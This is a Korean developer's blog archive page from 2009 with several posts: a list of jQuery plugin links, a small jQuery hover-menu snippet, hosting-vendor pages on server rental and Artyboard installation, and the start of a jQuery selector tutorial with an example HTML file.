http://jqueryfordesigners.com/coda-slider-effect/
http://benjaminsterling.com/jquery-jqgalview-photo-gallery/
http://www.mind-projects.it/blog/jqzoom_v10
http://www.reach1to1.com/sandbox/jquery/jqchart/
http://jquery.lukelutman.com/plugins/flash/
http://leandrovieira.com/projects/jquery/lightbox/
http://marcgrabanski.com/code/ui-datepicker/
http://www.noupe.com/ajax/37-more-shocking-jquery-plugins.html
http://www.webdesignerwall.com/demo/jquery/
http://www.gcmingati.net/wordpress/wp-content/lab/jquery/imagestrip/imageslide-plugin.html
http://cssglobe.com/post/1695/easiest-tooltip-and-image-preview-using-jquery
http://www.gcmingati.net/wordpress/wp-content/lab/jquery/imagestrip/imageslide-plugin.html
http://jquery.glyphix.com/
http://www.balupton.com/sandbox/jquery_lightbox/

챠트
http://www.filamentgroup.com/lab/creating_accessible_charts_using_canvas_and_jquery/
http://sorgalla.com/projects/jcarousel/
http://designreviver.com/tutorials/jquery-examples-horizontal-accordion
http://host.sonspring.com/portlets/
http://www.webdesignerwall.com/tutorials/jquery-tutorials-for-designers/
http://www.digital-web.com/extras/jquery_crash_course/


http://www.blinklist.com/codearachnid/jquery/

http://drupalmodules.com/module/image-enhanced-scaling

http://www.ajaxdaddy.com/store


http://www.ajaxrain.com/tag.php?tag=image&page=2(모음)
http://www.spicyexpress.net/general/jquerry-at-it-best-downloadable-jquerry-plugins-and-widgets-for-you-2/(예제모음)

http://mike.teczno.com/giant/pan/(pan)
2009/07/16 16:54 2009/07/16 16:54
-Jquery 플러그인 모음 이거한방이면 끝..!! : http://www.seek-blog.com/41065/14090/240-plugins-jquery.html

 -light box(이미지 미리보기,pre,next) : http://leandrovieira.com/projects/jquery/lightbox/

 -이미지 스크롤 : http://benjaminsterling.com/2007/09/09/jquery-jqgalscroll-photo-gallery/

 -이미지 싸이클 : http://www.malsup.com/jquery/cycle/

 -BlockUI Plugin(processing,처리중 등등,confirm) :  http://www.malsup.com/jquery/block/#element

 -UI Modal : http://jquery.com/demo/thickbox/

 -플래쉬 플러그인 삽입 : http://jquery.lukelutman.com/plugins/flash/#examples

 -Photo Slider Tutorial : http://opiefoto.com/articles/photoslider#example

 -jScrollPane : http://kelvinluck.com/assets/jquery/jScrollPane/jScrollPane.html

 -Accessible News Slider  : http://www.reindel.com/accessible_news_slider/#examples

 - unobtrusive tabs(탭메뉴) : http://stilbuero.de/jquery/tabs/#fragment-29
      http://www.sunsean.com/idTabs/#t3

 -jQuery Ajax Link Checker : http://troy.dyle.net/linkchecker/

 -jQuery Form Plugin  : http://malsup.com/jquery/form/#code-samples

 -jquery.suggest, an alternative jQuery based autocomplete library(자동완성)
  http://www.vulgarisoip.com/2007/06/29/jquerysuggest-an-alternative-jquery-based-autocomplete-library/
  http://nodstrum.com/2007/09/19/autocompleter/

 -jlook(폼객체 리뉴얼)  :

  http://envero.org/jlook/

 -jQuery - LinkedSelect(멀티 select) :

  http://www.msxhost.com/jquery/linked-selects/json/

 -Masked Input Plugin    : (입력포맷 확인)
  http://digitalbush.com/projects/masked-input-plugin
  http://www.appelsiini.net/projects/jeditable/default.html

 -Overlabel with JQuery(박스안에 워터마킹처리)  : http://scott.sauyet.com/Javascript/Demo/Overlabel/

 -Styling an input type="file"(파일찾기 이미지 처리)
   http://www.quirksmode.org/dom/inputfile.html

 -jQuery UI Datepicker v3.0 Examples(달력)
  http://marcgrabanski.com/code/ui-datepicker/

 -jQuery Validation Plugin(폼체크,포커싱)
  http://jquery.bassistance.de/validate/demo-test/ 
  http://www.texotela.co.uk/code/jquery/focusfields/
 
 -jQuery columnHover plugin(컬럼 하이라이트/컬럼 컨트롤)
  http://p.sohei.org/stuff/jquery/columnhover/demo/demo.html
  http://p.sohei.org/stuff/jquery/columnmanager/demo/demo.html

 -tablesorterDocumentation(테이블 순서)
  http://tablesorter.com/docs/index.html 

 -jQuery Accordion Demo(컨테이너 예제)
  http://jquery.bassistance.de/accordion/?p=1.1.1

 -jQPanView based in jQuery 1.1(이미지 확대보기)
  http://projects.sevir.org/storage/jpanview/index.html

 -jQuery Impromptu(confirm,alert 등등)
  http://trentrichardson.com/Impromptu/

 -jqGrid Examples(그리드)
  http://trirand.com/jqgrid/jqgrid.html#

 -Toggle HTML-Elements with jQuery
  http://jquery.andreaseberhard.de/toggleElements/

 -UI/Sortables(테이블 위치변경 ^^)
  http://docs.jquery.com/UI/Sortables

 -뉴스 슬라이더(부분보기,전체보기)
  http://www.reindel.com/accessible_news_slider/

 -로컬 스크롤러
  http://www.freewebs.com/flesler/jQuery.LocalScroll/

 -핫키 테스트
  http://jshotkeys.googlepages.com/test-static.html

 -슬라이더
  http://docs.jquery.com/UI/Slider/slider

 -쇼핑카트
  http://www.mimul.com/pebble/default/2007/10/30/1193753340000.html

 -테이블 소트
  http://www.mimul.com/pebble/default/2007/11/06/1194348600000.html

 -이미지 나중에 로딩시키기
  http://www.mimul.com/pebble/default/2007/11/10/1194695220000.html

 -오토탭(입력시 폼객체 자동넘김)
  http://dev.lousyllama.com/autotab/

 -실시간 폼객체 수정
  http://www.appelsiini.net/projects/jeditable/custom.html

 -프린트
  http://www.designerkamal.com/jPrintArea/#
 -차트
  http://www.reach1to1.com/sandbox/jquery/jqchart/

 -CSS Dock Menu (Jquery + CSS)
  후니넷에서 보삼
 -툴팁
  http://www.codylindley.com/blogstuff/js/jtip/

 -XML데이터 뿌리기
  http://blog.reindel.com/src/jquery_browse/
  http://www.xml.com/pub/a/2007/10/10/jquery-and-xml.html
  http://www.mimul.com/pebble/default/2006/11/05/1162710000000.html

 -Clearing Form

  http://www.learningjquery.com/2007/08/clearing-form-data

 --암호 복잡성 체크

  http://phiras.googlepages.com/PasswordStrengthMeter.html

 --Form Serialize

  http://dev.jquery.com/wiki/Plugins/FastSerialize

 --GetString 퍼라미터 가져오기
  http://www.mathias-bank.de/2006/10/28/jquery-plugin-geturlparam/

 --검색 후 콤보생성(ajax with combo) 아주 유용함
  http://extjs.com/deploy/ext/examples/form/forum-search.html
  http://extjs.com/deploy/ext/examples/grid/edit-grid.html-->그리드

 --파일 업로드(input=file) 리폼
  http://www.appelsiini.net/projects/filestyle/demo.html

Jquery Best
 http://www.spicyexpress.net/general/jquerry-at-it-best-downloadable-jquerry-plugins-and-widgets-for-you-2/

웹디자인 템플릿트(2.0)
 -http://www.templateworld.com/free_templates.html

----------------------------------------
Jquery tag cloud
http://www.ajaxrain.com/tagcloud.php
Jquery 기본설명
http://www.zzbb.kr/34
----------------------------------------

^^Star Rater(순위) --활용가능성 높음
http://www.m3nt0r.de/devel/raterDemo/

^^ AJAX CALLING --활용가능성 높음
http://cgaskell.wordpress.com/2006/11/02/jquery-ajax-call-and-result-xml-parsing/

--AJAX 아이디 중복체크 - 활용가능성 아주높음
http://www.shawngo.com/gafyd/index.html

^^ jQuery framework plugins which provide a way to sort and nest elements in web applications, using drag-and-drop(테이블드래그앤드랍) --활용가능성 중간
http://code.google.com/p/nestedsortables/

^^Simple tableSorter(리스트 정렬) 활용가능성 중간
http://motherrussia.polyester.se/docs/tablesorter/

^^Cookie 활용가능성 높음
http://www.stilbuero.de/2006/09/17/cookie-plugin-for-jquery/

^^태깅 --그냥한번보자..ㅎ
http://www.alcoholwang.cn/jquery/jTaggingDemo.htm

^^죽이는 어코디언 메뉴
http://dev.portalzine.de/index?/Horizontal_Accordion--print

^^ AJAX Indicator 이미지
http://qureyoon.blogspot.com/2006/11/make-your-own-loading-gif.html

----------------------------------------
2007.12.28 찾은것
----------------------------------------
http://rikrikrik.com/jquery/quicksearch/#usage
http://nadiaspot.com/jquery/confirm/#examples
http://host.sonspring.com/portlets/
http://jquery.andreaseberhard.de/toggleElements/
http://www.getintothis.com/pub/projects/rb_menu/
http://icon.cat/software/iconDock/0.8b/dock.html
http://www.nuernberg.de/internet/portal/index.html
http://rikrikrik.com/jquery/shortkeys/#examples
http://rikrikrik.com/jquery/pager/#examples
http://famspam.com/facebox/ --라이트박스같은것
http://www.andreacfm.com/
http://www.vulgarisoip.com/2007/06/29/jquerysuggest-an-alternative-jquery-based-autocomplete-library/ --autocomplete
http://www.gcmingati.net/wordpress/wp-content/lab/jquery/newsticker/jq-liscroll/scrollanimate.html - 뉴스 스크롤
http://d-scribe.de/webtools/jquery-pagination/demo.htm# --페이징
http://tinymce.moxiecode.com/example_full.php?example=true --Open Source WYSWYG 웹 에디터
http://www.laptoptips.ca/projects/tinymce-advanced/ --Open Source WYSWYG 웹 에디터 advanced
http://extjs.com/ -또다른 RIA JAVAscRIPT 프레임워크
http://www.digital-web.com/extras/jquery_crash_course/ -jquery로 만든 비행 예약 시스템 데모(Passenger Management )
http://markc.renta.net/jquery/ --jquery 간단예제
http://www.xml.com/pub/a/2007/10/10/jquery-and-xml.html?page=2 -jquery와 XML
http://www.stilbuero.de/2006/09/17/cookie-plugin-for-jquery/  -쿠키 플러그인
http://jquery.com/files/demo/dl-done.html --간단한 어코디언 메뉴
http://mjslib.org/doc/legacy/fieldgroup.html --폼필드 컨트롤
http://extjs.com/deploy/dev/examples/tree/two-trees.html --트리
http://www.amcharts.com/column/ - 차트(바로 사용^^)
http://particletree.com/features/rediscovering-the-button-element/ - 버튼 스타일링
http://www.i-marco.nl/weblog/jquery-accordion-menu/ - 실용성 높은 어코디언 메뉴


http://www.sastgroup.com/jquery/240-plugins-jquery
http://jquery.bassistance.de/jquery-getting-started.html

2009/07/16 16:52 2009/07/16 16:52
<script language="javascript">
 $(document).ready(function(){
  var defaultclass;
  $("li").filter(function(){return $(this).attr("link");}).css("cursor", "pointer").hover(function(){
   defaultclass = $(this).attr("class");
   $(this).addClass($(this).attr("over"));
  }, function(){
   $(this).removeClass($(this).attr("over")).addClass(defaultclass);
  }).click(function(){
   location.href=$(this).attr("link");
  });
 });
</script>
<style type="text/css">
<!--
.cafetop {
 height: 35px;
 width: 956px;
 background-image: url(<?=$sitemap_skin_path?>/img/sepcial-menu-bg.gif);
 font-family: "돋움", "굴림";
 font-size: 11px;
 line-height: 35px;
 font-weight: bolder;
 color: #E3FFDD;
 padding-top: 0px;
 padding-right: 10px;
 padding-bottom: 0px;
 padding-left: 10px;
 margin: 0px;
}
.cafetop .menu {
 float: left;
 margin-top: 0px;
 margin-right: 5px;
 margin-bottom: 0px;
 margin-left: 5px;
}
.menuover {
 font-size: 11px;
 color: #009933;
}
.cafetop img {
 margin-top: 12px;
 height: 11px;
 width: 2px;
 margin-right: 0px;
 margin-bottom: 0px;
 margin-left: 0px;
}
-->
</style>

<ul class="cafetop">
  <li link="#" class="menu" over="menuover">공지사항</li>
  <li class="menu"><img src="<?=$sitemap_skin_path?>/img/sepcial-menu-line.gif" /></li>
  <li link="#" class="menu" over="menuover">전체글보기</li>
  <li class="menu"><img src="<?=$sitemap_skin_path?>/img/sepcial-menu-line.gif" /></li>
  <li link="#" class="menu" over="menuover">베스트게시물</li>
  <li class="menu"><img src="<?=$sitemap_skin_path?>/img/sepcial-menu-line.gif" /></li>
  <li link="#" class="menu" over="menuover">이미지모아보기</li>
  <li class="menu"><img src="<?=$sitemap_skin_path?>/img/sepcial-menu-line.gif" /></li>
  <li link="#" class="menu" over="menuover">동영상모아보기</li>
  <li class="menu"><img src="<?=$sitemap_skin_path?>/img/sepcial-menu-line.gif" /></li>
  <li link="#" class="menu" over="menuover">카페태그보기</li>
  <li class="menu"><img src="<?=$sitemap_skin_path?>/img/sepcial-menu-line.gif" /></li>
  <li link="#" class="menu" over="menuover">자유로운글</li>
  <li class="menu"><img src="<?=$sitemap_skin_path?>/img/sepcial-menu-line.gif" /></li>
  <li link="#" class="menu" over="menuover">카페앨범</li>
</ul>

2009/07/16 16:50 2009/07/16 16:50
출처 : http://webarty.com
홈 > 호스팅 > 서버 호스팅 > 단독서버호스팅 > E-Slim
 
 
 
사 양 프로세서 인텔 코어2듀오 콘로 E6320 / 메모리 DDR2 1GB PC2-5300 / HDD Seagate SATA2 160G (7200.10/16M)
구분 임대하기 구매하기
구매비용 - 520,000 원
월 사용료 120,000 원 80,000 원
소유권 18개월 후 양도 입금즉시 양도
사 양 프로세서 인텔 펜티엄4 프레스캇 3.0E 그레이벌크 / 메모리 DDR2 1GB PC2-5300 / HDD Seagate SATA2 320G (7200.10/16M)
구분 임대하기 구매하기
구매비용 - 700,000 원
월 사용료 150,000 원 100,000 원
소유권 18개월 후 양도 입금즉시 양도
사 양 프로세서 인텔 코어2듀오 콘로 E6420 / 메모리 DDR2 2GB PC2-5300 / HDD Seagate SATA2 320G (7200.10/16M)
구분 임대하기 구매하기
구매비용 - 800,000 원
월 사용료 180,000 원 100,000 원
소유권 18개월 후 양도 입금즉시 양도
2009/07/16 16:40 2009/07/16 16:40
출처 :  HTTP://WEBARTY.COM
홈 > 아티보드 > 아티보드 소개 > $2
아티보드 솔루션은 두터운 사용자 층을 지니고 있으며, 관공서 및 대기업에도 아티보드 솔루션은 사용되고 있습니다. 여러 사용자들이 사용함에 따라 그 만큼 사용자들의 요구는 끊임이 없습니다. 아티보드에서는 세밀한 기능까지 구현이 되어 있지만 관리자 모듈은 쉽고 간단합니다. 관리자가 보다 손쉽게 관리할 수 있으며, 다양한 기능의 구현이 이뤄지는 아티보드 솔루션을 체험하실 수 있습니다.
 
아티보드를 이용해서 회원제 운영 여부를 결정 하거나, 최근 게시글, 통합검색, 설문조사 삽입, 팝업창 등의 구현이 매우 쉽습니다. 설문조사 및 팝업창의 경우 기간을 두어 자동으로 실행이 되거나 중지할 수 있도록 설정이 가능합니다. 최근 게시글의 이미지를 출력하는 경우 썸네일 컴포넌트를 연동해서 서버에 과부하가 생기지 않도록 작은 이미지를 출력하는 세심한 기능까지 고려합니다. 회원관리, 로그인, 게시판, 쪽지 기능의 경우 스킨 형태로 구성되어 있기 때문에 디자인의 변경이 가능합니다.
 
아티보드의 가장 큰 매력이라고 볼 수 있는 부분으로써 데이타 처리가 매우 빠릅니다. 자체적으로 개발된 페이징 기법을 이용하기 때문에 타 게시판에 비해 50% 이상 빠르게 실행이 됩니다. 저장 프로시져를 90% 이상 사용했기 때문에 보안 부분이 강력하며, 일반적으로 DB를 액세스 하는 속도보다 월등히 우월합니다. 많은 기능을 구현하게 되면 서버의 과부화 및 속도가 느려지는 부분이 있는 현실에 아티보드는 이 모든 부분을 극복한 솔루션입니다.
 
다양한 스킨지원으로 원하는 레이아웃과 디자인 선택이 가능하며, 제공되는 모든 스킨은 매우 쉽게 수정이 가능합니다. 다양한 기능을 추가적으로 구현할 수 있도록 설계가 되어 있어, 아티보드로 이용할 수 있는 기능은 무한적 입니다.
 
아티보드에서 기본적으로 제공되는 회원관리 및 게시판 외에 부가적으로 사용할 수 있는 별도 로그인, 설문조사, 팝업창, 쪽지, 회원프로필 등의 기능을 별도로 제공합니다.
 
버그수정, 기능추가로 꾸준한 업데이트가 이뤄 지며, 개발자와 사용자들간의 끊임없는 유대관계를 형성하여 사용자의 의견에 더욱 귀를 기울이고 있습니다. 웹아티에서는 사용자의 작은 의견이라도 소홀이 생각하지 않으며, 지속적으로 좋은 솔루션을 제공하도록 노력합니다.
2009/07/16 16:39 2009/07/16 16:39

안녕하세요! 웹아티 회원님.
언제나 저희 웹아티 서비스를 이용해 주셔서 감사합니다.


앞서 공개된 아티보드 에디터 업데이트 버전이 윈도우즈 XP에서 올바르게 동작되지 않았던 버그를 수정했습니다.
수많은 테스트를 해 보진 않았지만, 여러 회원님들이 불편을 겪고 계시기 때문에 긴급히 패치를 합니다.
패치 후 오류가 발생하면 다시 알려 주시기 바랍니다.

아티보드를 2009년 5월 22일자 버전까지 패치를 하셔서 사용하시거나, 5월 22일자 버전을 신규로 설치하신 분들은 패치 버전을 다운 받으셔서 패치를 하시고 처음 설치 하는 분들은 전체 버전을 다운 받아 메뉴얼을 참고하셔서 설치하시기 바랍니다.


아티보드 전체 버전 : ArtyboardV20_20090608_Full.zip
아티보드 패치 버전 : ArtyboardV20_20090608_Patch.zip


[패치방법]


1. ArtyboardV20_20090608_Patch.zip 파일을 다운받아 압축을 해제합니다.
2. 서버와 동일한 경로로 압축이 해제된 파일을 서버에 덮어 씌웁니다.
3. 패치프로그램을 실행합니다. (홈페이지경로/아티보드경로/patch20090608.asp)
4. DB 정보를 입력 후 패치를 마칩니다.


업데이트 안내는 여기를 클릭하셔서 확인하시기 바랍니다.

좋은 하루 되시기 바랍니다.

[다운로드]
 
2009/07/16 16:37 2009/07/16 16:37

홈 > 아티보드 > 아티보드 소개 > $2
 
 
 
아티보드를 설치하기 위해서는 웹아티 사이트 (http://webarty.com)에 접속하셔서 로그인 후 아티보드 최신 전체설치 버전을 다운 받습니다.
다운 받은 아티보드 버전을 현재 사용자의 컴퓨터의 임의 폴더에 압축을 해제 합니다.
압축을 해제하면 아래와 같은 폴더 및 파일 목록이 출력됩니다.
 
FTP 프로그램을 이용해서 압축이 해제된 아티보드 솔루션을 사용할 서버에 업로드 합니다.
아래 그림은 알 FTP로 서버에 업로드 하는 화면이며, POST2005.XLS 파일을 제외한 모든 폴더 및 파일을 서버 계정에 업로드 합니다.
아티보드 1.5 버전에서는 아티보드를 설치시 루트에 설치를 하지 않으셔도 되므로 특정할 폴더를 서버에 생성해서 사용이 가능합니다.
설치 예제 부분에서는 Artyboard 란 폴더를 생성해서 아티보드 관련 파일을 업로드 하는 화면입니다.
 
서버에 아티보드 솔루션의 모든 파일이 정상적으로 업로드 되었는지 확인 하시기 바랍니다.
모든 파일이 정상적으로 업로드가 되셨다면, 특정 폴더에 쓰기 및 삭제 권한을 설정해야 합니다.
(쓰기 및 삭제 권한은 서버 관리자만 설정이 가능하므로 자체 서버를 운영하시면 서버 담당자에게 문의를 하시고 호스팅을 받고 계신다면 호스팅 업체에 문의를 하시기 바랍니다.)
권한이 필요한 폴더는 아티보드 경로를 기준으로 Pds 및 DBConnect 폴더입니다. 해당 폴더에 쓰기, 삭제의 권한을 부여 해 주시기 바랍니다.
 
이제 아티보드 솔루션의 설치를 시작합니다. 아티보드는 웹브라우저에서 설치를 하셔야 합니다.
http://도메인주소/아티보드경로/Setup/Setup.asp 의 인터넷 주소를 웹 브라우저에서 입력 후 실행합니다.
- 예) http://test.webarty.com/artyboard/setup/setup.asp
이용약관에 동의하시면 위 약관에 동의합니다.의 체크 박스를 선택 후 설치 시작 버튼을 클릭합니다.
 
아티보드는 DBConnect 폴더에 아티보드에서 필요한 환경설정 파일을 아래 정보를 기준으로 생성합니다.
DB 관련 정보, 경로정보, SQL 서버 아이피 및 컴포넌트를 선택 하시기 바랍니다.
위의 정보를 모르시면 호스팅 업체 또는 서버 관리자에게 문의하시기 바랍니다.
(환경설정 정보가 올바르지 않는 경우 오류가 발생되오니 정확한 정보를 입력해 주시기 바랍니다.)
모든 항목이 입력되면 다음 버튼을 클릭해서 다음과정을 진행합니다.
 
환경설정 파일이 올바르게 생성되면, DB에 스토어드 프로시져를 생성합니다.
아티보드를 전체적으로 재 설치를 하시거나 설치 도중 오류가 발생하셨다면 스토어드 프로시져를 삭제합니다.의 체크 박스를 체크 후 진행하시기 바랍니다.
다음 버튼을 클릭하시면 사용하시는 DB에 아티보드에서 필요한 스토어드 프로시져를 생성합니다.
 
스토어드 프로시져까지 생성하시면 관리자 정보를 입력합니다.
아티보드를 전체적으로 관리할 전체 관리자의 정보를 입력하시면 됩니다.
관리자의 아이디는 변경이 불가능하며, 기타 정보는 관리자 화면에서 언제든지 변경이 가능합니다.
관리자 정보를 모두 입력하셨다면 다음 버튼을 클릭하셔서 다음 과정을 진행합니다.
다음 과정은 아티보드에서 필요한 DB 테이블을 생성하며, 기본적으로 필요한 기본값을 등록합니다.
 
모든 설치 과정이 정상적으로 이뤄지게 되면 아래와 같은 화면이 출력됩니다.
아티보드에 필요한 모든 설치 과정이 종료 되며, 관리자 모드로 이동 버튼을 클릭하면 관리자 모드로 접속이 됩니다.
아티보드를 설치하셨다면 상단의 우편번호 DB 임포트 및 GLOBAL.ASA 파일 수정항목을 확인 후 매뉴얼에 따라 진행하시기 바랍니다.
출처 http://webarty.com

2009/07/16 16:34 2009/07/16 16:34
jQuery, 기본 셀렉터

필자의 잡담~

본격적인 jQuery의 기초 설명에 들어갑니다~
그 시작은 셀렉터 입니다~
jQuery란?

jQuery는 가볍고 빠르며, 간결한 오픈소스 스크립트 라이브러리입니다. 이를 이용하면 Rich 웹 UI를 개발하는 데 도움이 되는 다양한 기능들 즉, HTML 문서 트래버스, 이벤트 처리, 애니메이션, Ajax 상호 작용 등을 지원하여 빠르고 견고하게 리치 웹 애플리케이션 개발을 할 수 있도록 지원합니다.

이러한 jQuery의 기능적인 특징을 핵심 키워드만 뽑아서 정리하자면,

  • 막강한 CSS 셀렉터
  • 크로스 브라우저 지원
  • 메서드 체인
  • Ajax 지원
  • 풍부한 플러그 인 지원

정도로 설명할 수 있지 않을까 싶네요. 물론, 이 외에도 많은 것들이 제공되지만 말이죠.

개발 준비사항

처음 jQuery를 공부하고자 맘을 먹고, jQuery 웹 사이트에 가면 이런 생각이 들지도 모르겠습니다.

"에~ 그러니깐, 어디서부터 뭘 어떻게 봐야 하는 거지?"

그렇습니다. 어린 시절부터 완전정복, 맨투맨 류의 참고서적에 길들여져 있는 우리들은 항상 신기술을 접할 때 어떻게 시작해야 할지를 막막해하곤 하죠. 이는 비단 저도 예외가 아닙니다. 하지만, 언제나 신기술이 나왔을 때 가장 좋은 설명서는 해당 웹 사이트에 공개되어 있는 튜토리얼이라는 것은 변함이 없는 사실이지요(물론, 저의 경우는 인터넷 서점에서 관련 서적을 구입한 뒤, 1독이상을 하고 난 뒤에 튜토리얼을 보는 편입니다만, 이는 지극히 개인적인 성향에 따라 다른 부분입니다). 여러분도 성향에 따라 튜토리얼을 보셔도 되고, 제 강좌를 보셔도 되고, 서적을 구매해서 보셔도 됩니다(제 강좌에는 너무 의존하지 마세요 ㅎ).

공부하는 방식은 각자의 선택에 따라 다르지만, jQuery 라이브러리는 모두가 반드시 다운로드 하여 준비해야 하는 사항입니다. 해서, 우선 jQuery를 다운로드 받도록 하죠. http://jquery.com/ 에 가면 메인 화면에서 바로 다운로드가 가능하며, 현재 강좌 작성 기준으로 jQuery의 최신 버전은 1.3.2 를 얻으실 수 있습니다. 그리고, 구하신 파일은 여러분이 작업하는 어떠한 웹 애플리케이션에든지 복사해서 쓰시면 됩니다.

그럼 이제 jQuery의 셀렉터를 이야기하는 것으로 본격적으로 시작해볼까요?

jQuery 셀렉터 : 기본

jQuery의 가장 강력한 부분은 HTML DOM을 마음대로 트래버스 즉, 순회 탐색할 수 있다는 것인데요. 놀랍게도, CSS 셀렉터를 사용하여 원하는 개체를 탐색할 수 있습니다. CSS 셀렉터(Selector)는 대부분의 웹 개발자라면 이미 아실 것이라 생각합니다. 다음과 같이 css 파일에서 사용했던 표현식이 바로 CSS 셀렉터이니까요.

div p {
    font-color
:red;
}

#loginID {
    font-weight
:bold;
    background
:yellow;
}

.Columns {
    padding
:10px;
    background
:white;
}

div p라는 셀렉터는 현재 문서 상에서 div 요소의 자식으로 존재하는 모든 p 요소들에 적용되며, #loginID는 loginID라는 id 값을 가진 요소에, .Columns는 class 어트리뷰트 값으로 Columns를 갖는 모든 요소에 적용되는 것이죠.

이러한 셀렉터를 그대로 jQuery에서 사용할 수 있다는 것은 놀랍습니다. jQuery에서는 원하는 DOM 요소의 그룹을 찾기 위해서 $(selector) 혹은 jQuery(selector)과 같은 표현식을 사용하기에, 위의 3가지 셀렉터를 다음과 같이 사용할 수 있습니다.

$("div p") 혹은 jQuery("div p")
$("#loginID") 혹은 jQuery("#loginID")
$(".Columns") 혹은 jQuery(".Columns")

그리고, 각각의 표현식은 각 DOM 요소의 확장 개체인 jQuery 개체 집합을 반환합니다. DOM 요소를 직접 반환해주는 것이 아니라 그의 래퍼(Wrapper)인 jQuery 개체로 반환해 주기 때문에 직접 DOM 요소를 제어할 때보다 훨씬 편하고 쉽게 개체를 제어할 수 있다는 장점이 있습니다. 예를 들어, $("div p").hide() 와 같은 명령을 사용하면, 현재 문서 상에서 div 요소의 자식으로 존재하는 모든 p 태그집합들은 눈에서 보이지 않게 됩니다. hide()라는 명령은 jQuery 개체가 지원하는 명령이며, 추후 알아보게 될 것인데요. jQuery 셀렉터에 의해 반환되는 개체가 일반 DOM 개체라면 이러한 명령을 사용할 수 없겠지만, jQuery 개체 집합으로 반환되기에 그러한 명령을 사용할 수 있게 되는 것입니다. (아직, hide() 명령의 역할에 대해서는 설명하지 않았지만, 이름만 봐도 기능을 추측할 수는 있겠죠?)

모든 요소를 선택하기 위해서는 $("*")와 같은 표현을 사용할 수 있습니다.

또한, jQuery는 이러한 기본적인 CSS 셀렉터 외에 고급 CSS 셀렉터도 지원합니다. 예를 들면, 계층 셀렉터, 일반 필터 셀렉터, 어트리뷰트 필터 셀렉터 등이 바로 그것인데요. 다음은 계층 셀렉터의 예입니다.

p > a : p 요소 바로 아래 자식인 a 요소(하이퍼링크)와 일치된다.
div + p : div 요소의 바로 다음에 나오는 형제 p 요소와 일치된다.
div ~ p : div 요소의 다음에 나오는 모든 형제 p 요소와 일치된다.

$("p a")와 $("p > a")의 차이점은 전자가 p요소 하위에 존재하는 모든 a 요소를 선택한다면, 후자는 p 요소 바로 아래의 자식으로 놓여있는 a 요소만을 선택한다는 것이 차이입니다.

즉, 다음과 같은 html이 존재한다면,

<p>
   
<span>
       
<a href="1.aspx">1.aspx</a>
   
</span>
   
<br />
    <
a href="2.aspx">2.aspx</a>
</p>

$("p a")는 1.aspx 링크와 2.aspx 링크 모두를 선택하지만, $("p > a")는 2.aspx 링크만을 선택한다는 것이죠.

div + p 및 div ~ p 와 같은 경우는 자식이 아니라 형제 요소와 연관이 있습니다. 즉, 다음과 같은 html 있다고 가정할 경우에 말입니다.

<div>앨범 목록입니다</div>
<p>노라조</p>
<span>수퍼맨</span>
<p>이적</p>
<span>다행이다</span>
<p>현진영</p>
<span>Break me down</span> 

$("div + p")는 div 바로 다음에 나오는 형제 수준의 p 요소, 즉, "노라조"를 선택하게 되는 반면, $("div ~ p")는 div 요소 다음에 나오는 형제 요소들 중 모든 p 요소, 즉, "노라조", "이적", "현진영"과 일치된다는 것이죠.

더불어, a[title]이나 a[href^="mailto:"]와 같이 어트리뷰트를 기반으로 하는 필터링도 가능한데요. 특정 어트리뷰트가 존재하거나, 그 어트리뷰트 값이 특정 값으로 시작 혹은 끝나거나, 특정 값을 포함하거나 하는 부분까지 비교해서 선택할 수 있습니다. 다음은 이러한 어트리뷰트 필러의 예입니다.

a[title] : title 어트리뷰트를 갖는 하이퍼 링크와 일치된다.
a[href^="mailto:"] : href 값이 mailto로 시작하는 하이퍼 링크와 일치된다.
a[href$=".pdf"] : pdf 파일에 링크가 걸린 모든 하이퍼링크와 일치된다.
a[href*="taeyo.net"] : taeyo.net이라는 값이 포함되어 있는 모든 하이퍼 링크와 일치된다.
input[type="text"] : text 형식의 입력 컨트롤과 일치된다.

이러한 선택이 가능한 것은 시작부분(^) 혹은 끝부분($)을 가리키는 정규 표현식을 jQuery가 지원하기 때문입니다.

그러면, 우선 지금까지 알아본 셀렉터들, 가장 기본이 되는 이러한 셀렉터들을 한번 정리해보고 넘어가도록 하겠습니다.

jQuery가 지원하는 CSS 셀렉터들

셀렉터 설명
* 모든 요소와 일치
E1 E1(태그명)인 모든 요소와 일치
E1.class E1(태그명) 요소의 클래스가 class와 동일한 요소와 일치
E1.#id E1(태그명) 요소의 id 어트리뷰트 값이 id와 동일한 요소와 일치
E1 E2 E1 요소의 자식인 모든 E2(태그명) 요소와 일치
E1 > E2 E1 요소 바로 아래 자식인 E2 요소와 일치
E1 + E2 E1 요소의 바로 다음에 나오는 형제요소 E2와 일치
E1 ~ E2 E1 요소의 다음에 나오는 모든 형제 E2와 일치
E1[attr] attr 어트리뷰트를 갖는 E1 요소와 일치
E1[attr=val] attr 어트리뷰트의 값이 val을 갖는 E1 요소와 일치
E1[attr^=val] attr 어트리뷰트의 값이 val 값으로 시작하는 E1 요소와 일치
E1[attr$=val] attr 어트리뷰트의 값이 val 값으로 끝나는 E1 요소와 일치
E1[attr*=val] attr 어트리뷰트의 값이 val 값을 포함하는 E1 요소와 일치

그리고, 이러한 셀렉터를 사용하는 가벼운 예제를 한번 같이 해 보도록 하겠습니다. 가상 디렉토리를 하나 만드시고, 다음과 같은 htm 파일을 하나 작성하도록 하세요. 물론, 동일 폴더에는 아까 다운로드 받은 jQuery 자바스크립트 파일(저의 경우, jquery-1.3.2.min.js)이 있어야 하겠죠?

Default.htm

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
   
<title></title>
   
<script src="jquery-1.3.2.min.js" type="text/javascript"></script>
   
<script>
        $(
document).ready(
           
function(){
                $(
"#song").css("border", "solid 1px silver");
               
$("a[href^='mailto:']").css("background", "lightblue");
               
$("input[type='button']").css("background", "yellow");

               
$("div ~ b").css("background", "#efefef");
               
$("div > b").css("border", "1px");
           
});
    </
script>
   
<style type="text/css">
       
* { font-size:12px; font-family:돋움 }
    </
style>
</head>
<body>
   
<div>
       
<span><a href="http://taeyo.net">taeyo.net</a></span>
       
<br />
        <
a href="mailto:taeyo@A.net">태오의 메일주소</a>
       
<p>
           
<input type="button" value클릭~ />
            <
input type="checkbox" />
            <
input type="radio" />
        </
p>
       
       
<div id="song">요즘 노래방에서 부르는 노래 목록입니다</div><br />
        <
b>노라조</b>
       
<span>수퍼맨</span><br />
        <
b>이적</b>
       
<span>다행이다</span><br />
        <
b>현진영</b>
       
<span>Break me down</span>       
   
</div>
</body>
</html>
예제는 간단합니다. jQuery 셀렉터를 사용해서 몇몇 DOM 요소의 스타일을 변경하는 것이 전부이니까요. 그렇다고, 설명을 안하면 뭔가 서운하니깐, 이야기를 한번 해 보죠.

